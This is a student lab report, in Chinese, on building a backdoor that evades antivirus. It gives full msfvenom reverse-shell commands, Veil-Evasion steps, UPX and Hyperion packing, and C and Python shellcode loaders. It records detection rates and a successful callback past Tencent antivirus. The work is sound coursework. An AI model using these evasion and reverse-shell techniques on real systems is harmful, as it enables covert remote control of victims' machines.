2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践

2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践

一、实验要求

了解metasploit、veil、加壳工具的使用方法,并利用以上软件实现后门程序与杀软之间的共存,并利用后门程序获取被攻击方的shell。

二、实验目标

  • 1、正确使用msf编码器
  • 2、msfvenom生成如jar之类的其他文件
  • 3、使用veil进行免杀处理
  • 4、使用upx加压缩壳,hyperion加加密壳
  • 5、使用C + shellcode编程进行免杀
  • 6、使用python + shellcode进行免杀(使用其他课堂未介绍方法)
  • 7、通过组合应用各种技术实现恶意代码免杀
  • 8、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三、实验过程

1.准备工作

(1)安装veil

  • sudo apt-get install veil命令安装veil,如果有问题可以尝试使用sudo apt-get updatesudo apt-get upgrade命令更新一下软件包。
  • 安装完成后使用veil命令打开veil,输入Y继续安装直到完成。期间可能会因为网络问题下载中断,并且需要手动确认部分软件的安装,这一准备工作需要较长的时间。
    2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第1张图片

(2)hyperion加密壳应用
由于我的kali系统里没有hyperion的文件夹,因此我参考了同学的博客下载了hyperion2.2的压缩包,并生成了一个hyperion.exe可执行文件(压缩包下载以及可执行文件生成方式)。需要注意的是,链接中的压缩包需要使用2.2版本,且hyperion.exe文件需要在Hyperion-2.2这一目录下生成,并将需要添加加密壳的文件复制到Hyperion-2.2目录下再进行加密。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第2张图片

(3)配置python环境
在本次实验中我使用了python + shellcode这一课堂未介绍的免杀方式,而这一方法需要在x86系统中配置python2.7环境(python2.7下载链接),并配置python环境变量,即需要下载安装python2.7的包,并将python2.7的文件路径添加到系统环境变量path中。

2.正确使用msf编码器

在上一个实验中我们已经了解了metasploit的msfvenom指令,在本次实验中我们需要了解msf指令中与免杀相关的参数,并尝试不同参数的免杀效果。
(1)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3.exe命令生成后门程序,并使用virscan进行扫描。

  • -p设置payload
  • -e参数设置编码器
  • -i参数设置编码次数
  • -b去掉'\x00’
  • -f设置生成的文件的格式
  • '>'表示重定向,可以使用-o代替

2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第3张图片
从检测结果可以看出,免杀的效果并不好,有53%的杀软检测出了后门程序。

(2)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3-i10.exe命令增加编码次数并生成后门程序,然后使用virscan进行扫描。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第4张图片
从检测结果可以看出,仍有53%的杀软检测出了后门程序,10次编码的结果与5次编码的结果相比没有区别。多次编码对免杀结果没有效果,主要有一下两点原因:

  • shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
  • msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

值得注意的是,我还尝试了使用msfvenom命令将后门程序与正常安装包进行捆绑,即通过-x参数与可执行文件进行绑定。而对绑定的文件进行5次和10次编码后,10次编码的后门程序的检出率要高于5次编码的后门程序的检出率,有些杀软在5次编码情况下检测不出后门,而在10次编码的情况下能够检测出后门,这提醒我不能盲目地增加编码次数。
编码5次的扫描结果:
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第5张图片
编码10次的扫描结果:
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第6张图片

3.msfvenom生成如jar之类的其他文件

3.1 msfvenom生成jar文件

(1)msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -f jar > 5320shiyan3.jar命令生成jar文件。

(2)将生成的文件放到virscan上进行扫描,扫描结果如下:
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第7张图片
从扫描结果来看,杀软的检出率明显降低,只有32%的杀软检测了出来。

3.2 msfvenom生成python文件

(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py生成python文件。

(2)使用virscan进行扫描,检出率为0%。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第8张图片
虽然生成的python文件不会被杀软识别为恶意代码,但是我尝试运行该文件后发现无法与控制端进行连接。之后我通过查找资料了解到这里生成的python文件实际上是一片shellcode,需要后期将该文件修改后才能生成后门程序,而这里就是后面利用python + shellcode进行免杀的基础。

4.使用veil进行免杀处理

首先我们需要安装veil,安装过程我在前面的准备工作中介绍了,这里我就不再赘述了。veil可以使用其他语言将meterpreter重写,从而实现免杀,这里我使用了c语言进行了重写,具体操作过程如下:
(1)安装好veil后在命令行输入veil打开veil
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第9张图片

(2)使用use evasion命令进入veil-evasion,这里我们能看见可以使用的命令。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第10张图片

(3)输入list命令查看可用的payload,这里我需要使用c/meterpreter/rev_tcp.py,于是输入use c/meterpreter/rev_tcp.py选择并进入配置界面。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第11张图片

(4)在配置界面中输入set LHOST 192.168.219.134set LPORT 5320设置ip和端口。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第12张图片

(5)使用generate命令生成exe文件。注意界面中显示的几行高亮的路径,有var的路径从上到下分别为可执行文件的位置、代码的位置以及可对metasploit进行配置的资源文件。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第13张图片

(6)将生成的文件复制到打开了杀软的被攻击主机,后门程序被杀软发现并删除了。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第14张图片

(7)暂时关闭杀软,再次将veil产生的后门程序复制到被攻击主机中,然后在kali中使用msfconsole -r + 资源文件路径命令对metasploit进行设置并开启监听,双击运行后门程序,metasploit获取会话连接。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第15张图片

(8)使用sessions -l命令查看所有会话,sessions -i 1选中第一个会话后便可以实现对被攻击方的控制。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第16张图片
这里我也尝试过使用ruby重写meterpreter,但生成的可执行文件同样出现了签名的问题,查了ocra和ruby方面的资料也没有将这一问题解决。

5.使用upx加压缩壳,hyperion加加密壳

5.1 upx压缩壳

加压缩壳的操作比较简便,kali中内置了upx,只需要使用命令upx 5320shiyan3veil.exe -o 5320veilupxed.exe即可生成加压缩壳后的文件。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第17张图片

5.2 hyperion加密壳

由于我的系统没有hyperion.exe所以还需要自己想办法生成,生成的方法我已经在准备工作中讲过了,这里就不再赘述。准备工作做好后,将需要加壳的文件复制到Hyperion-2.2这一文件目录下,然后进入Hyperion2.2这一目录,输入wine hyperion.exe -v 5320shiyan3veil.exe 5320veilhyped.exe命令进行加壳。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第18张图片
我将两种加壳后的文件先后复制到windows,发现压缩壳处理后的文件杀软没有反应,而加密壳处理后的文件却被杀软查杀了。

6.使用C + shellcode编程进行免杀

在这里我们使用metaploit生成shellcode,然后在windows环境下编写程序实现对shellcode的调用,最后将该程序的可执行文件复制到被攻击的主机中进行测试。具体过程如下:
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f c -o 5320cshellcode.c生成shellcode,并将shellcode保存在-o参数指向的文件中。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第19张图片

(2)将上面生成的c文件复制到主机中,使用codeblock打开并对文件中的代码进行修改,修改后的代码如下:

unsigned char buf[] =
"\xd9\xed\xd9\x74\x24\xf4\xba\x8a\x70\xfe...
"\xb3\x3f\xb5\xdd\xb0\x76\x42\x93";
/*shellcode*/

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

(3)修改后对c文件进行build,将生成的.exe文件复制到被攻击主机,复制之后杀软360并没有发现后门程序。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第20张图片

(4)使用virscan对可执行文件进行扫描,有14%的杀软扫描出来了,比前面的方法减少了许多。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第21张图片

(5)控制端输入msfconsole进入metasploit,通过set payload windows/meterpreter/reverse_tcp设置payload,set LHOST 192.168.219.134设置ip,set LPORT 5320设置监听端口。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第22张图片

(6)控制端输入exploit开启监听,被攻击端点击运行5320cshellcode.exe,之后可以在控制端获取被攻击方的shell。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第23张图片

7.使用python + shellcode进行免杀(使用其他课堂未介绍方法)

这里我利用了上面使用msfvenom生成的python文件,在windows中使用ide进行修改后在x86系统中生成了可执行文件,然后复制到被攻击主机上进行运行,这里我参考了这篇博客Metasploit+python生成免杀exe过360杀毒,具体过程如下:
(1)使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py命令生成shellcode(前面已经生成了)。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第24张图片

(2)将上面生成的.py文件复制到主机中,使用ide打开并对文件中的代码进行修改,这里我使用的是pycharm,修改后的代码如下:

from ctypes import *
import ctypes

buf =  b""
buf+=b"\xbd\x91\x27\x33\xd1\xdb\xcf\xd9\x74\x24\xf4\x58\x2b"
...
buf+=b"\x46\xfe\x25\x6f\xba\x40\x67\x7c"
#shellcode

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4
...#(详细代码见博客链接)
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print "Code By Luan"

shell()

2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第25张图片

(3)在windows上安装python的环境,下载支持将python生成exe的软件pyinstall,解压后在cmd中进入pyinstall的目录,将需要转化的python文件复制到pyinstall的文件夹后,执行python pyinstaller.py --console --onefile 5320shiyan3py2.py,在这里pyinstall不要有中文路径。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第26张图片

(4)在pyinstaller-2.0\5320shiyan3py2\dist目录下找到可执行文件,将该文件复制到被攻击主机上,被攻击主机杀软没有反应。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第27张图片

(5)控制端输入msfconsole进入metasploit,通过set payload windows/meterpreter/reverse_tcp设置payload,set LHOST 192.168.219.134设置ip,set LPORT 5320设置监听端口。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第28张图片

(6)控制端输入exploit开启监听,被攻击端点击运行5320shiyan3py2.exe,之后可以在控制端获取被攻击方的shell。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第29张图片
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第30张图片

(7)使用virscan进行扫描,杀软的检出率为10%,比c + shellcode的效果要好。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第31张图片

8.通过组合应用各种技术实现恶意代码免杀

这里我使用了上面生成的5320shiyan3py2.exe,并对其分别进行了压缩壳以及加密壳处理,希望通过加壳进一步减少特征的符合度。

8.1 upx压缩壳+python shellcode

使用upx对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机杀软没有反应,virscan扫描结果显示10%的杀软检测出了后门程序。由此可见,对于这种不是捆绑正常软件的后门程序,压缩壳对免杀的作用不是很大。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第32张图片
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第33张图片

8.2 hyperion加密壳+python shellcode

使用hyperion对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机的杀软检测出了加壳后文件,而virscan的扫描结果显示有24%的杀软检测出了后门程序,复合处理后后门程序的隐蔽性降低了。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第34张图片
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第35张图片

9.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在这里我在另一个win7虚拟机中安装了腾讯电脑管家,并将病毒库更新到了最新版本,然后将之前使用压缩壳处理后的基于python shellcode的可执行文件复制到了该虚拟机中,经过扫描测试杀软并不能识别该后门程序,且该后门程序可以正常回连,并获取了自身的进程号。
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第36张图片
2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第37张图片

四、实验中遇到的问题

  • 问题一:安装veil的过程中显示wine没有安装
    2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践_第38张图片
  • 问题一解决方法:sudo apt-get install wine32,然后重新安装veil。
  • 问题二:在/usr/share/windows-binaries/hyperion/目录下没有hyperion.exe文件
  • 问题二解决方法:自行下载并编译生成hyperion.exe,压缩包下载方式以及编译方法已经在准备工作中介绍了。

五、实验感想和思考

本次实验总的来说还是比较复杂的,不仅实验的环境需要花较多的时间进行配置,还要尝试不同的免杀方式,并对这些不同方法下生成的后门进行测试。在生成后门程序的时候推荐还是使用编码器进行适当次数的编码,这样可以减少被识别出来的概率。在对后门程序进行恰当的免杀处理后,绝大多数的杀软已经无法识别出后门程序,这在上一次实验的基础上更进了一步,也提醒了我们要注意后门程序的入侵,尽量不要通过非官方的途径获取所需的可执行文件。

思考:

  • (1)杀软是如何检测出恶意代码的?
    答:有基于特征码检测、启发式恶意软件检测、基于行为的恶意软件检测等方式。
  • (2)免杀是做什么?
    答:改变恶意软件的特征,使得杀软无法识别恶意软件。
  • (3)免杀的基本方法有哪些?
    答:通过使用编码器多次进行编码、重写meterpreter、加壳、半手动生成shellcode等方法,主要目的就是使得杀软无法通过特征码等方式识别出恶意软件。

六、参考资料

  • (在Kali中使用mingw-w64编译Hyperion)
  • (Metasploit+python生成免杀exe过360杀毒)

你可能感兴趣的:(2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践)